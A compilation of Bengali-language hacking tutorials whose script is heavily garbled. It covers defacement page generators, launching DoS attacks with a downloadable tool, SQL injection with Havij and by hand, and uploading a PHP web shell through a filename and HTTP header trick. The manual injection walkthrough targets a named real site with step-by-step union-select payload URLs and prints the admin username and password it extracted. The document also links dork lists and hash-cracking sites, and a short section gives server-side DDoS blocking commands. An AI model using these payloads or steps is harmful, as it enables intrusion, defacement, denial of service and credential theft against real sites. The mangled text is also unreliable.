সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
